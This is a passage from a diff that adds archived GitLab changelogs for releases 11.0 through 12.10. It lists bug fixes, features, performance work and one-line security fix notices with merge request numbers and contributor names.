+- Fix RSS button interaction on Dashboard, Project and Group activities. !20549
+- Use appropriate timeout on Gitaly server info checks, avoid error on timeout. !20552
+- Remove healthchecks from prometheus endpoint. !20565
+- Render MR page when diffs cannot be fetched from the database or the git repository. !20680
+- Expire correct method caches after HEAD changed.
+- Ensure MR diffs always exist in the PR importer.
+- Fix overlapping file title and file actions in MR changes tag.
+- Mark MR as merged regardless of errors when closing issues.
+- Fix performance bar modal visibility in Safari.
+- Prevent browser autocomplete for milestone date fields.
+- Limit the action suffixes in transaction metrics.
+- Add /uploads subdirectory to allowed upload paths.
+- Fix cross-project label references.
+- Invalidate merge request diffs cache if diff data change.
+- Don't show context button for diffs of deleted files.
+- Structure getters for diff Store properly and adds specs.
+- Bump rugged to 0.27.2.
+- Fix Bamboo CI status not showing for branch plans.
+- Fixed bug that allowed to remove other wiki pages if the title had wildcard characters.
+- Disabled Web IDE autocomplete suggestions for Markdown files. (Isaac Smith)
+- Fix merge request diffs when created with gitaly_diff_between enabled.
+- Properly detect label reference if followed by period or question mark.
+- Deactivate new KubernetesService created from active template to prevent project creation from failing.
+- Allow trailing whitespace on blockquote fence lines.
+
+### Deprecated (1 change)
+
+- Removes unused bootstrap 4 scss files. !19423
+
+### Changed (33 changes, 16 of them are from the community)
+
+- Change label link vertical alignment property. !18777 (George Tsiolis)
+- Updated the icon for expand buttons to ellipsis. !18793 (Constance Okoghenun)
+- Create new or add existing Kubernetes cluster from a single page. !18963
+- Use object storage as the first class persistable store for new live trace architecture. !19515
+- Hide project name if searching against a project. !19595
+- Allows you to create another deploy token dimmediately after creating one. !19639
+- Removes the environment scope field for users that cannot edit it. !19643
+- Don't hash user ID in OIDC subject claim. !19784 (Markus Koller)
+- Milestone page list redesign. !19832 (Constance Okoghenun)
+- Add environment dropdown for the metrics page. !19833
+- Allow querying a single merge request within a project. !19853
+- Update WebIDE to show file in tree on load. !19887
+- Remove small container width. !19893 (George Tsiolis)
+- Improve U2F workflow when using unsupported browsers. !19938 (Jan Beckmann)
+- Update Web IDE file tree styles. !19969
+- Highlight cluster settings message. !19996 (George Tsiolis)
+- Fade uneditable area in Web IDE. !20008
+- Update pipeline icon in web ide sidebar. !20058 (George Tsiolis)
+- Revert merge request discussion buttons padding. !20060 (George Tsiolis)
+- Fix boards issue highlight. !20063 (George Tsiolis)
+- Update external link icon in header user dropdown. !20150 (George Tsiolis)
+- Update external link icon in merge request widget. !20154 (George Tsiolis)
+- Update environments nav controls icons. !20199 (George Tsiolis)
+- Update integrations external link icons. !20205 (George Tsiolis)
+- Fixes an issue where migrations instead of schema loading were run. !20227
+- Add title placeholder for new issues. !20271 (George Tsiolis)
+- Close revoke deploy token modal on escape keypress. !20347 (George Tsiolis)
+- Change environment scope text depending on number of project clusters. Update form to only include form-groups.
+- Improve Web IDE commit flow.
+- Add machine type and pricing documentation links, add class to labels to make bold.
+- Remove remaining traces of the Allocations Gem.
+- Use one column form layout on Admin Area Settings page.
+- Add back copy for existing gcp accounts within offer banner.
+
+### Performance (16 changes, 4 of them are from the community)
+
+- Fully migrate pipeline stages position. !19369
+- Use Tooltip component in MrWidgetAuthorTime vue comonent. !19635 (George Tsiolis)
+- Move boards modal EmptyState vue component. !20068 (George Tsiolis)
+- Bump carrierwave gem verion to 1.2.3. !20287
+- Remove redundant query when removing trace. !20324
+- Improves performance of mr code, by fixing the state being mutated outside of the store in the util function trimFirstCharOfLineContent and in map operations. Avoids map operation in an empty array. Adds specs to the trimFirstCharOfLineContent function. !20380 (filipa)
+- Reduce the number of queries when searching for groups. !20398
+- Improve render performance of large wiki pages. !20465 (Peter Leitzen)
+- Improves performance on Merge Request diff tab by removing the scroll event listeners being added to every file.
+- Remove the ci_job_request_with_tags_matcher.
+- Updated Gitaly fail-fast timeout values.
+- Add index on deployable_type/id for deployments.
+- Eliminate N+1 queries in LFS file locks checks during a push.
+- Fix performance problem of accessing tag list for projects api endpoints.
+- Improve performance of listing users without projects.
+- Fixed pagination of web hook logs.
+
+### Added (29 changes, 9 of them are from the community)
+
+- Add dropdown to Groups link in top bar. !18280
+- Web IDE supports now Image + Download Diff Viewing. !18768
+- Use CommonMark syntax and rendering for new Markdown content. !19331
+- Add SHA256 and HEAD on File API. !19439 (ahmet2mir)
+- Add filename filtering to code search. !19509
+- Add CI_PIPELINE_URL and CI_JOB_URL. !19618
+- Expose visibility via Snippets API. !19620 (Jan Beckmann)
+- Fixed pagination of groups API. !19665 (Marko, Peter)
+- Added id sorting option to GET groups and subgroups API. !19665 (Marko, Peter)
+- Add a link to the contributing page in the user dropdown. !19708
+- Add Object Storage to project export. !20105
+- Change avatar image in the header when user updates their avatar. !20119 (Jamie Schembri)
+- Allow straight diff in Compare API. !20120 (Maciej Nowak)
+- Add transfer project API endpoint. !20122 (Aram Visser)
+- Expose permissions of the current user on resources in GraphQL. !20152
+- Run repository checks in parallel for each shard. !20179
+- Add pipeline lists to GraphQL. !20249
+- Add option to add README when creating a project. !20335
+- Add option to hide third party offers in admin application settings. !20379
+- Add /confidential quick action. (Jan Beckmann)
+- Support direct_upload for generic uploads.
+- Display merge request title & description in Web IDE.
+- Prune web hook logs older than 90 days.
+- Add Web Terminal for Ci Builds. (Vicky Chijwani)
+- Expose whether current user can push into a branch on branches API.
+- Present state indication on GFM preview.
+- migrate backup rake task to gitaly.
+- Add Gitlab::SQL:CTE for easily building CTE statements.
+- Added with_statsoption for GET /projects/:id/repository/commits.
+
+### Other (28 changes, 11 of them are from the community)
+
+- Move some Gitaly RPC's to opt-out. !19591
+- Bump grape-path-helpers to 1.0.5. !19604 (@blackst0ne)
+- Add CI job to check Gemfile.rails5.lock. !19605 (@blackst0ne)
+- Move Gitaly branch/tag/ref RPC's to opt-out. !19644
+- CE port gitlab-ee!6112. !19714
+- Enable no-multi-assignment in JS files. !19808 (gfyoung)
+- Enable no-restricted globals in JS files. !19877 (gfyoung)
+- Improve no-multi-assignment fixes after enabling rule. !19915 (gfyoung)
+- Enable prefer-structuring in JS files. !19943 (gfyoung)
+- Enable frozen string in app/workers/*.rb. !19944 (gfyoung)
+- Uses long sha version of the merged commit in MR widget copy to clipboard button. !19955
+- Update new group page to better explain what groups are. !19991
+- Update new SSH key page to improve copy. !19994
+- Update new SSH key page to improve key input validation. !19997
+- Gitaly metrics check for read/writeability. !20022
+- Add ellispsis to web ide commit button. !20030
+- Minor style changes to personal access token form and scope checkboxes. !20052
+- Finish enabling frozen string for app/workers/*.rb. !20197 (gfyoung)
+- Allows settings sections to expand by default when linking to them. !20211
+- Enable frozen string in apps/validators/*.rb. !20220 (gfyoung)
+- update bcrypt to also support libxcrypt. !20260 (muhammadn)
+- Enable frozen string in apps/validators/*.rb. !20382 (gfyoung)
+- Removes unused vuex code in mr refactor and removes unneeded dependencies. !20499
+- Delete non-latest merge request diff files upon merge.
+- Schedule workers to delete non-latest diffs in post-migration.
+- Remove the use of `is_shared` of `Ci::Runner`.
+- Add more detailed logging to githost.log when rebasing.
+- Use monospaced font for MR diff commit link ref on GFM.
+
+
+## 11.0.6 (2018-08-27)
+
+### Security (3 changes)
+
+- Fixed persistent XSS rendering/escaping of diff location lines.
+- Adding CSRF protection to Hooks resend action.
+- Block link-local addresses in URLBlocker.
+
+### Fixed (1 change, 1 of them is from the community)
+
+- Sanitize git URL in import errors. (Jamie Schembri)
+
+
+## 11.0.5 (2018-07-26)
+
+### Security (4 changes)
+
+- Don't expose project names in various counters.
+- Don't expose project names in GitHub counters.
+- Adding CSRF protection to Hooks test action.
+- Fixed XSS in branch name in Web IDE.
+
+### Fixed (1 change)
+
+- Escapes milestone and label's names on flash notice when promoting them.
+
+
+## 11.0.4 (2018-07-17)
+
+### Security (1 change)
+
+- Fix symlink vulnerability in project import.
+
+
+## 11.0.3 (2018-07-05)
+
+### Fixed (14 changes, 1 of them is from the community)
+
+- Revert merge request widget button max height. !20175 (George Tsiolis)
+- Implement upload copy when moving an issue with upload on object storage. !20191
+- Fix broken '!' support to autocomplete MRs in GFM fields. !20204
+- Restore showing Elasticsearch and Geo status on dashboard. !20276
+- Fix merge request page rendering error when its target/source branch is missing. !20280
+- Fix sidebar collapse breapoints for job and wiki pages.
+- fix size of code blocks in headings.
+- Fix loading screen for search autocomplete dropdown.
+- Fix ambiguous due_date column for Issue scopes.
+- Always serve favicon from main GitLab domain so that CI badge can be drawn over it.
+- Fix tooltip flickering bug.
+- Fix refreshing cache keys for open issues count.
+- Replace deprecated bs.affix in merge request tabs with sticky polyfill.
+- Prevent pipeline job tooltip from scrolling off dropdown container.
+
+
+## 11.0.2 (2018-06-26)
+
+### Fixed (8 changes, 1 of them is from the community)
+
+- Serve favicon image always from the main GitLab domain to avoid issues with CORS. !19810 (Alexis Reigel)
+- Specify chart version when installing applications on Clusters. !20010
+- Fix invalid fuzzy translations being generated during installation. !20048
+- Fix incremental rollouts for Auto DevOps. !20061
+- Notify conflict for only open merge request. !20125
+- Only load Omniauth if enabled. !20132
+- Fix sorting by name on explore projects page. !20162
+- Fix alert button styling so that they don't show up white.
+
+### Performance (1 change)
+
+- Remove performance bottleneck preventing large wiki pages from displaying. !20174
+
+### Added (1 change)
+
+- Add support for verifying remote uploads, artifacts, and LFS objects in check rake tasks. !19501
+
+
+## 11.0.1 (2018-06-21)
+
+### Security (5 changes)
+
+- Fix XSS vulnerability for table of content generation.
+- Update sanitize gem to 4.6.5 to fix HTML injection vulnerability.
+- HTML escape branch name in project graphs page.
+- HTML escape the name of the user in ProjectsHelper#link_to_member.
+- Don't show events from internal projects for anonymous users in public feed.
+
+
+## 11.0.0 (2018-06-22)
+
+### Security (3 changes)
+
+- Fix API to remove deploy key from project instead of deleting it entirely.
+- Fixed bug that allowed importing arbitrary project attributes.
+- Prevent user passwords from being changed without providing the previous password.
+
+### Removed (2 changes)
+
+- Removed API v3 from the codebase. !18970
+- Removes outdated `g t` shortcut for TODO in favor of `Shift+T`. !19002
+
+### Fixed (69 changes, 23 of them are from the community)
+
+- Optimize the upload migration process. !15947
+- Import bitbucket issues that are reported by an anonymous user. !18199 (bartl)
+- Fix an issue where the notification email address would be set to an unconfirmed email address. !18474
+- Stop logging email information when emails are disabled. !18521 (Marc Shaw)
+- Fix double-brackets being linkified in wiki markdown. !18524 (brewingcode)
+- Use case in-sensitive ordering by name for dashboard. !18553 (@vedharish)
+- Fix width of contributors graphs. !18639 (Paul Vorbach)
+- Fix modal width of shorcuts help page. !18766 (Lars Greiss)
+- Add missing tooltip to creation date on container registry overview. !18767 (Lars Greiss)
+- Add missing migration for minimal Project build_timeout. !18775
+- Update commit status from external CI services less aggressively. !18802
+- Fix Runner contacted at tooltip cache. !18810
+- Added support for LFS Download in the importing process. !18871
+- Fix issue board bug with long strings in titles. !18924
+- Does not log failed sign-in attempts when the database is in read-only mode. !18957
+- Fixes 500 error on /estimate BIG_VALUE. !18964 (Jacopo Beschi @jacopo-beschi)
+- Forbid to patch traces for finished jobs. !18969
+- Do not allow to trigger manual actions that were skipped. !18985
+- Renamed 'Overview' to 'Project' in collapsed contextual navigation at a project level. !18996 (Constance Okoghenun)
+- Fixed bug where generated api urls didn't add the base url if set. !19003
+- Fixed badge api endpoint route when relative url is set. !19004
+- Fixes: Runners search input placeholder is cut off. !19015 (Jacopo Beschi @jacopo-beschi)
+- Exclude CI_PIPELINE_ID from variables supported in dynamic environment name. !19032
+- Updates updated_at on label changes. !19065 (Jacopo Beschi @jacopo-beschi)
+- Disallow updating job status if the job is not running. !19101
+- Fix FreeBSD can not upload artifacts due to wrong tmp path. !19148
+- Check for nil AutoDevOps when saving project CI/CD settings. !19190
+- Missing timeout value in object storage pre-authorization. !19201
+- Use strings as properties key in kubernetes service spec. !19265 (Jasper Maes)
+- Fixed HTTP_PROXY environment not honored when reading remote traces. !19282 (NLR)
+- Updates ReactiveCaching clear_reactive_caching method to clear both data and alive caching. !19311
+- Fixes the styling on the modal headers. !19312 (samdbeckham)
+- Fixes a spelling error on the new label page. !19316 (samdbeckham)
+- Rails5 fix arel from. !19340 (Jasper Maes)
+- Support rails5 in postgres indexes function and fix some migrations. !19400 (Jasper Maes)
+- Fix repository archive generation when hashed storage is enabled. !19441
+- Rails 5 fix unknown keywords: changes, key_id, project, gl_repository, action, secret_token, protocol. !19466 (Jasper Maes)
+- Rails 5 fix glob spec. !19469 (Jasper Maes)
+- Showing project import_status in a humanized form no longer gives an error. !19470
+- Make avatars/icons hidden on mobile. !19585 (Takuya Noguchi)
+- Fix active tab highlight when creating new merge request. !19781 (Jan Beckmann)
+- Fixes Web IDE button on merge requests when GitLab is installed with relative URL.
+- Unverified hover state color changed to black.
+- Fix &nbsp; after sign-in with Google button.
+- Don't trim incoming emails that create new issues. (Cameron Crockett)
+- Wrapping problem on the issues page has been fixed.
+- Fix resolvable check if note's commit could not be found.
+- Fix filename matching when processing file or blob search results.
+- Allow maintainers to retry pipelines on forked projects (if allowed in merge request).
+- Fix deletion of Object Store uploads.
+- Fix overflowing Failed Jobs table in sm viewports on IE11.
+- Adjust insufficient diff hunks being persisted on NoteDiffFile.
+- Render calendar feed inline when accessed from GitLab.
+- Line height fixed. (Murat Dogan)
+- Use upload ID for creating lease key for file uploaders.
+- Use Github repo visibility during import while respecting restricted visibility levels.
+- Adjust permitted params filtering on merge scheduling.
+- Fix unscrollable Markdown preview of WebIDE on Firefox.
+- Enforce UTF-8 encoding on user input in LogrageWithTimestamp formatter and filter out file content from logs.
+- Fix project destruction failing due to idle in transaction timeouts.
+- Add a unique and not null constraint on the project_features.project_id column.
+- Expire Wiki content cache after importing a repository.
+- Fix admin counters not working when PostgreSQL has secondaries.
+- Fix backup creation and restore for specific Rake tasks.
+- Fix cross-origin errors when attempting to download JavaScript attachments.
+- Fix api_json.log not always reporting the right HTTP status code.
+- Fix attr_encryption key settings.
+- Remove gray button styles.
+- Fix print styles for markdown pages.
+
+### Deprecated (4 changes)
+
+- Deprecate Gemnasium project service. !18954
+- Rephrasing Merge Request's 'allow edits from maintainer' functionality. !19061
+- Rename issue scope created-by-me to created_by_me, and assigned-to-me to assigned_to_me. !44799
+- Migrate any remaining jobs from deprecated `object_storage_upload` queue.
+
+### Changed (42 changes, 11 of them are from the community)
+
+- Add support for smarter system notes. !17164
+- Automatically accepts project/group invite by email after user signup. !17634 (Jacopo Beschi @jacopo-beschi)
+- Dynamically fetch GCP cluster creation parameters. !17806
+- Label list page redesign. !18466
+- Move discussion actions to the right for small viewports. !18476 (George Tsiolis)
+- Add 2FA filter to the group members page. !18483
+- made listing and showing public issue apis available without authentication. !18638 (haseebeqx)
+- Refactoring UrlValidators to include url blocking. !18686
+- Removed "(Beta)" from "Auto DevOps" messages. !18759
+- Expose runner ip address to runners API. !18799 (Lars Greiss)
+- Moves MR widget external link icon to the right. !18828 (Jacopo Beschi @jacopo-beschi)
+- Add support for 'active' setting on Runner Registration API endpoint. !18848
+- Add dot to separate system notes content. !18864
+- Remove modalbox confirmation when retrying a pipeline. !18879
+- Remove docker pull prefix from registry clipboard feature. !18933 (Lars Greiss)
+- Move project sidebar sub-entries 'Environments' and 'Kubernetes' from 'CI/CD' to a new entry 'Operations'. !18941
+- Updated icons for branch and tag names in commit details. !18953 (Constance Okoghenun)
+- Expose readme url in Project API. !18960 (Imre Farkas)
+- Changes keyboard shortcut of Activity feed to `g v`. !19002
+- Updated Mattermost integration to use API v4 and only allow creation of Mattermost slash commands in the current user's teams. !19043 (Harrison Healey)
+- Add shortcuts to Web IDE docs and modal. !19044
+- Rename merge request widget author component. !19079 (George Tsiolis)
+- Rename the Master role to Maintainer. !19080
+- Use "right now" for short time periods. !19095
+- Update 404 and 403 pages with helpful actions. !19096
+- Add username to terms message in git and API calls. !19126
+- Change the IDE file buttons for an "Open in file view" button. !19129 (Sam Beckham)
+- Removes redundant script failure message from Job page. !19138
+- Add flash notice if user has already accepted terms and allow users to continue to root path. !19156
+- Redesign group settings page into expandable sections. !19184
+- Hashed Storage: migration rake task now can be executed to specific project. !19268
+- Make CI job update entrypoint to work as keep-alive endpoint. !19543
+- Avoid checking the user format in every url validation. !19575
+- Apply notification settings level of groups to all child objects.
+- Support restoring repositories into gitaly.
+- Bump omniauth-gitlab to 1.0.3.
+- Move API group deletion to Sidekiq.
+- Improve Failed Jobs tab in the Pipeline detail page.
+- Add additional theme color options.
+- Include milestones from parent groups when assigning a milestone to an issue or merge request.
+- Restore API v3 user endpoint.
+- Hide merge request option in IDE when disabled.
+
+### Performance (28 changes, 1 of them is from the community)
+
+- Add backgound migration for filling nullfied file_store columns. !18557
+- Add a cronworker to rescue stale live traces. !18680
+- Move SquashBeforeMerge vue component. !18813 (George Tsiolis)
+- Add index on runner_type for ci_runners. !18897
+- Fix CarrierWave reads local files into memory when migrates to ObjectStorage. !19102
+- Remove double-checked internal id generation. !19181
+- Throttle updates to Project#last_repository_updated_at. !19183
+- Add background migrations for archiving legacy job traces. !19194
+- Use NPM provided version of SortableJS. !19274
+- Improve performance of group issues filtering on GitLab.com. !19429
+- Improve performance of LFS integrity check. !19494
+- Fix an N+1 when loading user avatars.
+- Only preload member records for the relevant projects/groups/user in projects API.
+- Fix some sources of excessive query counts when calculating notification recipients.
+- Optimise PagesWorker usage.
+- Optimise paused runners to reduce amount of used requests.
+- Update runner cached informations without performing validations.
+- Improve performance of project pipelines pages.
+- Persist truncated note diffs on a new table.
+- Remove unused running_or_pending_build_count.
+- Remove N+1 query for author in issues API.
+- Eliminate N+1 queries with authors and push_data_payload in Events API.
+- Eliminate cached N+1 queries for projects in Issue API.
+- Eliminate N+1 queries for CI job artifacts in /api/prjoects/:id/pipelines/:pipeline_id/jobs.
+- Fix N+1 with source_projects in merge requests API.
+- Replace grape-route-helpers with our own grape-path-helpers.
+- Move PR IO operations out of a transaction.
+- Improve performance of GroupsController#show.
+
+### Added (25 changes, 10 of them are from the community)
+
+- Closes MR check out branch modal with escape. (19050)
+- Allow changing the default favicon to a custom icon. !14497 (Alexis Reigel)
+- Export assigned issues in iCalendar feed. !17783 (Imre Farkas)
+- When MR becomes unmergeable, notify and create todo for author and merge user. !18042
+- Display help text below auto devops domain with nip.io domain name (#45561). !18496
+- Add per-project pipeline id. !18558
+- New design for wiki page deletion confirmation. !18712 (Constance Okoghenun)
+- Updates updated_at on issuable when setting time spent. !18757 (Jacopo Beschi @jacopo-beschi)
+- Expose artifacts_expire_at field for job entity in api. !18872 (Semyon Pupkov)
+- Add support for variables expression pattern matching syntax. !18902
+- Add API endpoint to render markdown text. !18926 (@blackst0ne)
+- Add `Squash and merge` to GitLab Core (CE). !18956 (@blackst0ne)
+- Adds keyboard shortcut `g k` for Kubernetes on Project pages. !19002
+- Adds keyboard shortcut `g e` for Environments on Project pages. !19002
+- Setup graphql with initial project & merge request query. !19008
+- Adds JupyterHub to cluster applications. !19019
+- Added ability to search by wiki titles. !19112
+- Add Avatar API. !19121 (Imre Farkas)
+- Add variables to POST api/v4/projects/:id/pipeline. !19124 (Jacopo Beschi @jacopo-beschi)
+- Add deploy strategies to the Auto DevOps settings. !19172
+- Automatize Deploy Token creation for Auto Devops. !19507
+- Add anchor for incoming email regex.
+- Support direct_upload with S3 Multipart uploads.
+- Add Open in Xcode link for xcode repositories.
+- Add pipeline status to the status bar of the Web IDE.
+
+### Other (40 changes, 17 of them are from the community)
+
+- Expand documentation for Runners API. !16484
+- Order UsersController#projects.json by updated_at. !18227 (Takuya Noguchi)
+- Replace the `project/issues/references.feature` spinach test with an rspec analog. !18769 (@blackst0ne)
+- Replace the `project/merge_requests/references.feature` spinach test with an rspec analog. !18794 (@blackst0ne)
+- Replace the `project/deploy_keys.feature` spinach test with an rspec analog. !18796 (@blackst0ne)
+- Replace the `project/ff_merge_requests.feature` spinach test with an rspec analog. !18800 (@blackst0ne)
+- Apply NestingDepth (level 5) (pages/pipelines.scss). !18830 (Takuya Noguchi)
+- Replace the `project/forked_merge_requests.feature` spinach test with an rspec analog. !18867 (@blackst0ne)
+- Remove Spinach. !18869 (@blackst0ne)
+- Add NOT NULL constraints to project_authorizations. !18980
+- Add helpful messages to empty wiki view. !19007
+- Increase text limit for GPG keys (mysql only). !19069
+- Take two for MR metrics population background migration. !19097
+- Remove Gemnasium badge from project README.md. !19136 (Takuya Noguchi)
+- Update awesome_print to 1.8.0. !19163 (Takuya Noguchi)
+- Update email_spec to 2.2.0. !19164 (Takuya Noguchi)
+- Update redis-namespace to 1.6.0. !19166 (Takuya Noguchi)
+- Update rdoc to 6.0.4. !19167 (Takuya Noguchi)
+- Updates the version of kubeclient from 3.0 to 3.1.0. !19199
+- Fix UI broken in line profiling modal due to Bootstrap 4. !19253 (Takuya Noguchi)
+- Add migration to disable the usage of DSA keys. !19299
+- Use the default strings of timeago.js for timeago. !19350 (Takuya Noguchi)
+- Update selenium-webdriver to 3.12.0. !19351 (Takuya Noguchi)
+- Include username in output when testing SSH to GitLab. !19358
+- Update screenshot in GitLab.com integration documentation. !19433 (Tuğçe Nur Taş)
+- Users can accept terms during registration. !19583
+- Fix issue count on sidebar.
+- Add merge requests list endpoint for groups.
+- Upgrade GitLab from Bootstrap 3 to 4.
+- Make ActiveRecordSubscriber rails 5 compatible.
+- Show a more helpful error for import status.
+- Log response body to production_json.log when a controller responds with a 422 status.
+- Log Workhorse queue duration for Grape API calls.
+- Adjust SQL and transaction Prometheus buckets.
+- Adding branches through the WebUI is handled by Gitaly.
+- Remove shellout implementation for Repository checksums.
+- Refs containing sha checks are done by Gitaly.
+- Finding a wiki page is done by Gitaly by default.
+- Workhorse will use Gitaly to create archives.
+- Workhorse to send raw diff and patch for commits.
diff --git a/changelogs/archive-12.md b/changelogs/archive-12.md
new file mode 100644
index 00000000000..6cc890b7f12
--- /dev/null
+++ b/changelogs/archive-12.md
@@ -0,0 +1,4818 @@
+## 12.10.14 (2020-07-06)
+
+- No changes.
+
+## 12.10.13 (2020-07-01)
+
+### Security (15 changes)
+
+- Do not show activity for users with private profiles.
+- Fix stored XSS in markdown renderer.
+- Upgrade swagger-ui to solve XSS issues.
+- Fix group deploy token API authorizations.
+- Check access when sending TODOs related to merge requests.
+- Change from hybrid to JSON cookies serializer.
+- Prevent XSS in group name validations.
+- Disable caching for wiki attachments.
+- Fix null byte error in upload path.
+- Update permissions for time tracking endpoints.
+- Update Kaminari gem.
+- Fix note author name rendering.
+- Sanitize bitbucket repo urls to mitigate XSS.
+- Stored XSS on the Error Tracking page.
+- Fix security issue when rendering issuable.
+
+
+## 12.10.12 (2020-06-24)
+
+### Fixed (1 change)
+
+- Correctly count wiki pages in sidebar. !30508
+
+
+## 12.10.11 (2020-06-10)
+
+- No changes.
+
+## 12.10.8 (2020-05-28)
+
+### Fixed (2 changes)
+
+- Fix Geo replication for design thumbnails. !32703
+- Fix 404s downloading build artifacts. !32741
+
+
+## 12.10.7 (2020-05-27)
+
+### Security (14 changes)
+
+- Add an extra validation to Static Site Editor payload.
+- Hide EKS secret key in admin integrations settings.
+- Added data integrity check before updating a deploy key.
+- Display only verified emails on notifications and profile page.
+- Disable caching on repo/blobs/[sha]/raw endpoint.
+- Require confirmed email address for GitLab OAuth authentication.
+- Kubernetes cluster details page no longer exposes Service Token.
+- Fix confirming unverified emails with soft email confirmation flow enabled.
+- Disallow user to control PUT request using mermaid markdown in issue description.
+- Check forked project permissions before allowing fork.
+- Limit memory footprint of a command that generates ZIP artifacts metadata.
+- Fix file enuming using Group Import.
+- Prevent XSS in the monitoring dashboard.
+- Use `gsub` instead of the Ruby `%` operator to perform variable substitution in Prometheus proxy API.
+
+
+## 12.10.6 (2020-05-15)
+
+### Fixed (5 changes)
+
+- Fix duplicate index removal on ci_pipelines.project_id. !31043
+- Fix 500 on creating an invalid domains and verification. !31190
+- Fix incorrect number of errors returned when querying sentry errors. !31252
+- Add instance column to services table if it's missing. !31631
+- Fix incorrect regex used in FileUploader#extract_dynamic_path. !32271
+
+
+## 12.10.5 (2020-05-13)
+
+### Added (1 change)
+
+- Consider project group and group ancestors when processing CODEOWNERS entries. !31804
+
+
+## 12.10.4 (2020-05-05)
+
+### Fixed (1 change)
+
+- Add a Project's group to list of groups when parsing for codeowner entries. !30934
+
+
+## 12.10.2 (2020-04-30)
+
+### Security (8 changes)
+
+- Ensure MR diff exists before codeowner check.
+- Apply CODEOWNERS validations to web requests.
+- Prevent unauthorized access to default branch.
+- Do not return private project ID without permission.
+- Fix doorkeeper CVE-2020-10187.
+- Change GitHub service integration token input to password.
+- Return only safe urls for mirrors.
+- Validate workhorse 'rewritten_fields' and properly use them during multipart uploads.
+
+
+## 12.10.1 (2020-04-24)
+
+### Fixed (5 changes)
+
+- Fix bug creating project from git ssh. !29771
+- Fix Web IDE handling of deleting newly added files. !29783
+- Fix null dereference in /import status REST endpoint. !29886
+- Fix Service Templates missing Active toggle. !29936
+- Fix 500 error on accessing restricted levels. !30313
+
+### Changed (1 change)
+
+- Move Group Deploy Tokens to new Group-scoped Repository settings. !29290
+
+### Other (1 change)
+
+- Migration of dismissals to vulnerabilities. !29711
+
+
+## 12.10.0 (2020-04-22)
+
+### Removed (3 changes)
+
+- Revert LDAP readonly attributes feature. !28541
+- Remove deprecated /ci/lint page. !28562
+- Remove open in file view link from Web IDE. !28705
+
+### Fixed (118 changes, 26 of them are from the community)
+
+- Return 202 for command only notes in REST API. !19624
+- Run SAST using awk to pass env variables directly to docker without creating .env file. !21174 (Florian Gaultier)
+- #42671: Project and group storage statistics now support values up to 8 PiB (up from 4GiB)
+. !23131 (Matthias van de Meent)
+- Fix 500 error on profile/chat_names for deleted projects. !24341
+- Migrate the database to activate projects prometheus service integration for projects with prometheus installed on shared k8s cluster. !24684
+- Fix archived corrupted projects not displaying in admin. !25171 (erickcspice)
+- Fix some Web IDE bugs with empty projects. !25463
+- Fix failing ci variable e2e test. !25924
+- Fix new file not being created in non-ascii character folders. !26165
+- Validate uniqueness of project_id and type when a new project service is created. !26308
+- Fix assignee dropdown on new issue page. !26971
+- Resolve Unable to expand multiple downstream pipelines. !27029
+- Hide admin user actions for ghost and bot users. !27162
+- Fix invalid ancestor group milestones when moving projects. !27262
+- Fix right sidebar when scrollbars are always visible. !27314 (Shawn @CasualBot)
+- Fix OpenAPI file detector. !27321 (Roger Meier)
+- Fix managed_free_namespaces scope to only groups without a license or a free license. !27356
+- Set commit status to failed if the TeamCity connection is refused. !27395
+- Resolve Improve format support message in issue design. !27409
+- Add tooltips with full path to file headers on file tree. !27437
+- Scope WAF Statistics anomalies to environment.external_url. !27466
+- Show the proper information in snippet edit form. !27479
+- Fixes the repository Vue router not working with Chinese characters. !27494
+- Fix smartcard config initialization. !27560
+- Fix audit event that weren't being created for failed LDAP log-in tries. !27608
+- Fix filtered search tokenization. !27648
+- Fix processing of GrapqhQL query complexity based on used resolvers. !27652
+- Update board scopes when promoting a label. !27662
+- Reuse default generated snippet file name in repository. !27673
+- Revert user bio back to non-italicized font to fix rendering of emojis. !27693
+- Filter out Releases with missing tags. !27716
+- Update detected languages for dependency scanning in no dind mode. !27723
+- Fix logic for ingress can_uninstall?. !27729
+- Fix dropped filter when paging groups. !27737 (Lee Tickett)
+- Amend GraphQL merge requests resolver to check for project presence. !27783
+- Fix bug issue template handling of markdown. !27808 (Lee Tickett)
+- Update discord notifications to be a single embed and include log messages. !27812 (Sam Bingner)
+- Update detected languages for sast in no dind mode. !27831
+- Fix bug inviting members whose emails start with numbers. !27848 (Lee Tickett)
+- Allow self monitoring project to query internal Prometheus even when "Allow local requests in webhooks and services" setting is false. !27865
+- Add missing docstring to Prometheus metric. !27868
+- Resolve Snippet creation failure bug. !27891
+- Fix optional params for deploy token API. !27961 (Nejc Habjan)
+- Use Ci::Pipeline#all_merge_requests.first as Ci::Build#merge_request. !27968
+- Fix bug tracking snippet shard name. !27979
+- Add `discussion_locked` to Webhook. !28018
+- Fix invalid class option for ionice. !28023
+- Improve SAST NO_DIND file detection with proper boundary conditions. !28036
+- Detect skipped specs in JUnit reports and set TestCase status. !28053
+- Allow 0 for pages size limit setting in admin settings. !28086
+- Fix wrong colors displayed in charts. !28095
+- Fix incorrect content returned on empty dotfile. !28144
+- Include LDAP UID attribute in default attributes for all LDAP lookups. !28148
+- Fix deploy token API to properly delete all associated deploy token records. !28156
+- Fix Gitlab::Auth to handle orphaned oauth tokens. !28159
+- Protect sidekiq admin UI with admin mode. !28164 (Diego Louzán)
+- Prevent overriding the username when creating a Deploy Token via the API. !28175 (Ayoub Mrini)
+- Resolve Snippet actions with binary data. !28191
+- Make all HTTPS cookies set SameSite to none. !28205
+- Don't send 'accept-encoding' in HttpIO requests. !28239
+- Gracefully handle missing latest CI pipeline. !28263
+- Fix error removing secondary email. !28267 (Lee Tickett)
+- Fix name of approvals column in merge requests. !28274 (Steffen Köhler)
+- Add management_project_id to group and project cluster creation, clarifies docs. !28289
+- Check first if feature flag version_snippet is enabled. !28352
+- Fix single stat panel percentile format support. !28365
+- Use CTE optimization for searching board issues. !28430
+- Fix missing synthetic milestone change notes for disabled milestone change event tracking feature flag. !28440
+- Fix Releases page for Guest users of private projects. !28447
+- Prevent ProjectUpdateRepositoryStorageWorker from moving to same filesystem. !28469
+- Return error message for create_merge_request. !28482
+- Include MR times in Milestone time overview. !28519 (Bob van de Vijver)
+- Fix daily report result to use average of coverage values if there are multiple builds for a given group name. !28556
+- Token creation uses HTTP status CREATED. !28587
+- Allow award emoji same name & user duplicates when Importing. !28588
+- Fix pagination in Merge Request GraphQL api. !28667 (briankabiro)
+- Remove duplicate spec in web hook service spec. !28669 (Rajendra Kadam)
+- Fix GraphQL SnippetType repo urls. !28673
+- Add missing ON DELETE FK constraints referencing users table. !28720
+- Update duplicate specs in notification service spec. !28742 (Rajendra Kadam)
+- Fix styling of MR dropdown in Web IDE. !28746
